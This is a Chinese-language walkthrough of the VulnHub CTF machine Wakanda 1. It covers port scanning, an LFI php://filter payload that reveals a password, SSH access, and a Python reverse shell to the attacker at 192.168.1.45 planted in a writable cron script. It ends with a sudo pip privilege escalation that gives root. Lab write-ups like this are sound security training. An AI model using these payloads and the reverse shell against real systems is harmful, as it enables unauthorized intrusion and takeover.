在本文中,我们将为读者详细介绍如何完成xMagass在VulnHub上发表的一个CTF挑战。根据该挑战作者的介绍,这是一个中级难度的CTF挑战。该CTF挑战的目标是获取机器的root访问权限并读取旗标文件。在完成该挑战过程中,需要拿下3个旗标。
您可以从这里下载相关的VM,然后在Virtual Box上启动它。此外,该VM也可以通过torrent进行下载,相应的URL见本末的参考部分。
对于安全研究人员来说,VulnHub可是一个非常有名的网站。它为用户提供了一种安全且合法的环境,在这个环境中,可以通过一系列挑战来学习和砥砺自己的黑客技能。
请注意:对于本文涉及的所有机器,都是在Oracle的Virtual Box环境下运行的。其中,我们使用Kali Linux作为迎接该CTF挑战的攻击方机器。需要说明的是,文中所述的技术仅限于教育目的,如果读者将其用于其他方面,责任自负。
闯关
在Virtual Box中下载并运行相关的虚拟机后,我们需要找到目标机器的IP地址。为此,首先运行Netdiscover命令,来获取目标计算机的IP地址。下图给出了该命令的输出结果:
使用的命令:Netdiscover
如上图中高亮显示的区域所示,我们得到的虚拟机的IP地址为192.168.1.11(即目标机器的IP地址)。
我们将使用地址192.168.1.45来作为攻击方的IP地址。
请注意:攻击目标和攻击方计算机的IP地址可能是不同的,具体取决于相关的网络配置。
现在,我们已经知道了目标机器的IP地址,接下来首先要找出目标机器上可用的端口和服务。为此,可以借助于Nmap进行全端口扫描,具体如下图所示:
使用的命令:nmap -p- 192.168.1.11 -sV
扫描完成后,我们发现目标机器上有四个开放的端口。那么,让我们先从HTTP端口开始下手。利用浏览器访问目标机器的IP,这时将会看到一个网站,具体如下图所示。
从上面的屏幕截图中可以看出,该网站运行在一个HTTP服务器上,主页内容为“coming soon”。然后,我对该HTML页面代码逐条进行手动分析,并通过Dirb进行扫描,以枚举应用程序中的其他入口点,具体如下图所示。
使用的命令:dirb http://192.168.1.11/
Dirb程序找到了一些目录,但响应的大小为0字节,这意味着返回200响应代码的页面是一个空白页面。
在手动分析HTML内容的过程中,我们在注释中找到了一个参数,具体如下图所示。
正如在上面屏幕截图的突出显示区域中可以看到的那样,注释中存在“lang”参数,并且研究发现,该参数含有本地文件包含(LFI)漏洞。于是,我利用该漏洞下载了索引文件的内容,具体如下图所示。
使用的有效载荷:lang=php://filter/convert.base64-encode/resource=index
如您所见,我们的有效载荷已在目标计算机上成功运行了,并且在响应中收到了base64编码的数据。接下来,让我们进行解码,以便查看index.php文件的实际源代码。为此,我们可以使用Burp Decoder:
对索引文件进行解码后,我们在源代码中找到了一个密码,具体见截图中的高亮部分。相应的密码如下所示。
密码:Niamey4Ever227!!!
现在,我们已经找到了密码,并且通过端口扫描还发现目标机器上还运行着SSH服务。不过,我们还不知道用户名。于是,我尝试使用一些默认用户名的密码进行爆破,可惜没有成功。
花了一些时间后,我在索引页面的HTML内容中发现了一个用户名,具体如下图所示。
在突出显示的区域中,我们可以看到“Made by”,这意味着我们可能找到了SSH的有效用户名,具体如下所示。
用户名:mamadou
由于我们已经在源代码中找到了密码,并且SSH服务也在目标计算机上运行,因此,我们可以尝试使用以下凭据来登录系统:
Username: mamadou
Password: Niamey4Ever227!!!
使用的命令:ssh [email protected] -p 3333
从上面的屏幕截图中可以看出,这里使用的凭证是有效的,因为我们成功登录了目标系统。但是,我们还没有得到命令shell,因为这里是一个Python shell。接下来,我们要做的事情,就是使用自己喜欢的Python命令来获取访问bash shell的权限了,具体如下图所示。
使用的命令:import pty; pty.spawn(“/bin/bash”)
好了,我们终于获得了对目标机器的命令行shell的访问权限了。之后,我运行了ls命令,显示的文件为flag1.txt文件。至此,我们就拿到了第一个旗标,具体如下图所示。
第一个旗标到手了! 现在,让我们来看看内核和Linux操作系统的版本号。
使用的命令:
uname -a
cat /etc/issue
如您所见,我们检索了内核版本和操作系统版本方面的信息。接下来,我们就可以通过互联网来检查这些版本是否存在可用的本地漏洞了。
事实证明,虽然Google的搜索结果表明有很多漏洞可用,但它们都不适用于这台机器。于是,我开始试图寻找其他途径。我仔细分析了/etc/passwd文件,发现目标系统上还有另外一个用户,即“DevOps”。
用户“DevOps”在目标计算机上具有bash访问权限。因此,我们不妨检查DevOps用户所有的文件,看看能否获取弱文件权限漏洞。
使用的命令:find / -user devops 2>/dev/null
通过上述命令,我们找到了部分文件,其中一个让人感兴趣的文件是“.antivirus.py”,该文件对所有用户都具有写入权限。所以,我们不妨看看这个文件的内容。
不难看出,这段代码将打开位于“tmp”目录中的test文件而编写,并向该文件中写入“test”。所以,对tmp文件夹中的test文件进行了一番了解。因为该文件的所有者是DevOps,所以它运行时将拥有DevOps用户的权限。如果我们能够编写一个Python反向连接程序并将其替换为“.antivirus.py”,那么我们将获得另一个DevOps用户shell。好了,我们下手吧。
我在本地计算机上创建了一个Python程序,并使用wget程序将其传输到目标计算机的“tmp”文件夹中。该python程序可以在下面的截图中看到。
#! /usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.1.45”,4545));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);
使用的命令:
wget 192.168.1.45/pythonshell.py
cp pythonshell.py /srv/.antivirus.py
之后,我们在端口4545上启动侦听器以接收反向shell,并等待Cron运行。等了一段时间后,我们在目标机器上收到了一个反向shell,具体如下图所示。
使用的命令:
nc –lvp 4545
我们搞到了一个反向shell。之后,我们可以运行“id”命令来检查用户的情况,从而确认我们可以作为“DevOps”用户来访问目标计算机。现在,让我们运行Python命令来获取稳定的shell访问权限,具体如下图所示。
使用的命令:
python -c ‘import pty;pty.spawn(“/bin/bash”)’ (用来获取稳定的shell)
cd /home/devops (用于将当前目录改为DevOps)
ls (用于列出文件)
cat flag2.txt (用于读取flag2.txt文件)
如上图所示,我们获得了DevOps用户的权限,并在DevOps主目录中找到了另一个旗标。
因此,现在只要找到最后一个旗标就挑战成功了。由于DevOps用户也不是root用户,因此,我们还需要获取该计算机的root访问权限才能完成本次挑战。我们认为,只要获得root访问权限时,我们就能找到root旗标。
作为DevOps用户,当面运行sudo命令的时候,会返回一个错误消息,具体如下图所示。
使用的命令: sudo -l
运行sudo -l命令后,我们发现/user/bin/pip可以作为root用户运行,且无需任何密码。
所以,我们搜索了pip服务方面的漏洞利用代码,并通过wget程序将其下载到了目标机器上。在此之后,还必须在目标机器上执行漏洞利用代码,这方面的信息,请参考该pip漏洞利用代码页面的介绍,具体URL见本文末尾的参考资料部分。
使用的命令:
wget 192.168.1.45/bbbb/setup.py(用于从本地计算机下载漏洞利用代码)
sudo /usr/bin/pip install . –upgrade –force-reinstall(用于运行漏洞利用代码)
如您所见,我们首先在端口443上启动了Netcat侦听器,然后运行了漏洞利用代码,从而获得了目标机器的root shell,具体如下图所示。
到目前为止,我们终于在目标机器上拥有了root权限!现在,我们要读取第3个旗标,以完成挑战。实际上,第3个旗标很容易从根目录中找到,具体如下图所示。
我们找到了最后的一个旗标!对于这个CTF挑战来说,我们已经顺利通关了。
感谢各位耐心读完本文!
参考资料
FakePip, GitHub
Wakanda1, VulnHub
Wakanda 1 (torrent), VulnHub
Spool Privilege Escalation, Exploit Database